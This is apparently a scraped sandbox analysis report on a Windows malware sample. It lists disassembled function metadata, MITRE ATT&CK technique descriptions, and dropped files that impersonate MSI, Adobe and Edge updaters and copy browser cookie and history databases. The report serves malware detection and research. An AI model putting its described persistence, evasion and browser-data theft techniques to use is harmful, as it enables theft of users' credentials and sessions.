Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: ___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 2659868963-1240500531
Opcode ID: 9b5d1b46f996ddeac05ad860f0cc4ca56ad81e7f24e6b64a151a2b1cdd492400
Instruction ID: 0843574885d7e2f0a027d20cbe366ce5b1541a385904046762a34f3662e43cd3
Opcode Fuzzy Hash: 9b5d1b46f996ddeac05ad860f0cc4ca56ad81e7f24e6b64a151a2b1cdd492400
Instruction Fuzzy Hash: 5741D8B1910708AFCB14DF58DC45BAAF7B8EF49710F14822AF91697781E774A940CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07140000 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

_Smanip.LIBCPMTD ref: 07140031
InterlockedPushEntrySList.KERNEL32(0717ACA0,0717AB88), ref: 071400F7

Strings

Windows.Graphics.Capture.GraphicsCaptureItem, xrefs: 07140029

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: EntryInterlockedListPushSmanip
String ID: Windows.Graphics.Capture.GraphicsCaptureItem
API String ID: 3047252672-2539477169
Opcode ID: 2eb38a4e756bd85d0a7530440a45826672fd0e20bc9f9395f2a38e63dc8e1d8f
Instruction ID: 20337d1bee18311923d666da9e6b5e61b817d3d9b6a1b5b4ff72450532c349c1
Opcode Fuzzy Hash: 2eb38a4e756bd85d0a7530440a45826672fd0e20bc9f9395f2a38e63dc8e1d8f
Instruction Fuzzy Hash: 5641A1F091121AEFDB15DF99C944AAEBBB8FF08714F10415AE805A73C0EB74AA04CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 07137700 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36, xrefs: 0713782C

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36
API String ID: 0-2732702261
Opcode ID: fe8db7eb2e22f8e645b8cd442f5d76e64f43bc1c266a2321f1c557acd7081e41
Instruction ID: 3ccdb791cd1b929fbe616532362f0195338b2ff6cd9e6d20789a6c9b328e1101
Opcode Fuzzy Hash: fe8db7eb2e22f8e645b8cd442f5d76e64f43bc1c266a2321f1c557acd7081e41
Instruction Fuzzy Hash: 3051D2B5D00219EBDB08CFD9D985BEEBBB5AF48304F10815AE419AB380D7349A41CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07149965 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0714998A

Strings

RCC, xrefs: 071499A4
MOC, xrefs: 0714999C

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dc2f06bbe531c63b589ce3f74c655e68db852256fd60cf24347b4c449032a9c6
Instruction ID: aad2d9e690b9c8da3df4b0c7cba621f44ff50a5985bc8c31d462696d4167f804
Opcode Fuzzy Hash: dc2f06bbe531c63b589ce3f74c655e68db852256fd60cf24347b4c449032a9c6
Instruction Fuzzy Hash: 8C413BB290020AEFCF16DF98CD81AEE7BB5BF48304F258199F905A7294D335E950DB51

Uniqueness

Uniqueness Score: -1.00%

Function 07102760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 07102789
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 07102855

Part of subcall function 0714490D: _Yarn.LIBCPMT ref: 0714492C
Part of subcall function 0714490D: _Yarn.LIBCPMT ref: 07144950

Strings

bad locale name, xrefs: 0710285F

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 22208f9e93b1b0e5a4e9e3cedaa59f477f52c963a91b89b17ceb810c06de876f
Instruction ID: c8c6022bedebb80323dda9515d3a3ce9d7ce21cd6f33d87a4c238abde6c2ddef
Opcode Fuzzy Hash: 22208f9e93b1b0e5a4e9e3cedaa59f477f52c963a91b89b17ceb810c06de876f
Instruction Fuzzy Hash: E94122B4D04289DFDB05CF98C954BAEFBF1BF49304F288299D415AB381C7799900CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0713DFC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0713E00E

Part of subcall function 0713D1F0: GetProcessHeap.KERNEL32 ref: 0713D20F
Part of subcall function 0713D1F0: HeapFree.KERNEL32(00000000,00000000,?), ref: 0713D219

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000000,00000000,00000000), ref: 0713E055

Strings

WIL Exception, xrefs: 0713E023

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ByteCharHeapMultiWide$FreeProcess
String ID: WIL Exception
API String ID: 1463872437-1585015378
Opcode ID: e6e23db5a887a71451b46c037d1ff8c6052b901457b1dbb5cb703ab0338f8a86
Instruction ID: e67769d8a3652381a788a1142e57858ef60dd6efd29df9c37d570a59e4b2e548
Opcode Fuzzy Hash: e6e23db5a887a71451b46c037d1ff8c6052b901457b1dbb5cb703ab0338f8a86
Instruction Fuzzy Hash: 7911B9B1344108EBDB14DB64DC42FE973A8DB08715F20426DEA0AEB2C0DB7579448A55

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4120 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AD4141
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AD4190

Strings

bad locale name, xrefs: 00AD41AB

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: e3ab548bcadfc64f6aa952b9b2da69559a0abf9244bfebb6f26899e2b10a9d52
Instruction ID: dded1af85b0da086cd2c2f2a77c0458563e213269c32ea564d9d1fd15a7babb3
Opcode Fuzzy Hash: e3ab548bcadfc64f6aa952b9b2da69559a0abf9244bfebb6f26899e2b10a9d52
Instruction Fuzzy Hash: B411AD70404B84AFD320CF69C901717BBF4EF19710F008A5EE48A87B81D7B9A608CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 071375C0 Relevance: 5.1, APIs: 4, Instructions: 81memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000), ref: 07137676
GetProcessHeap.KERNEL32(00000008,-00000001), ref: 07137699
HeapAlloc.KERNEL32(00000000), ref: 071376A0
lstrcpynA.KERNEL32(00000000,00000000,00000000), ref: 071376B5

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Heap$AllocProcesslstrcpynlstrlen
String ID:
API String ID: 2211197272-0
Opcode ID: b9dbee947cc9aa0c00b034ef224d31d3fc6a00c9feb65d2d92c7b938f2e59dfb
Instruction ID: 6ec79dd2c8671d70224b83c251ec08b93436300b87c93f074bc1e9c72e6ab92d
Opcode Fuzzy Hash: b9dbee947cc9aa0c00b034ef224d31d3fc6a00c9feb65d2d92c7b938f2e59dfb
Instruction Fuzzy Hash: 383118F0D00609EFDB04DFA8D995B9EBBB6FF44308F108558E815AB2C0D739AA84CB44

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe

C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe

C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe

C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe

C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe

C:\Users\user\AppData\Local\Temp\Xfp4MT9n1IFhi1hjXC4bx59.zip

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\02zdBXl47cvzcookies.sqlite

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\3b6N2Xdh3CYwplaces.sqlite

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\5LlX2itlchhlCookies

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\D87fZN3R3jFeplaces.sqlite

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre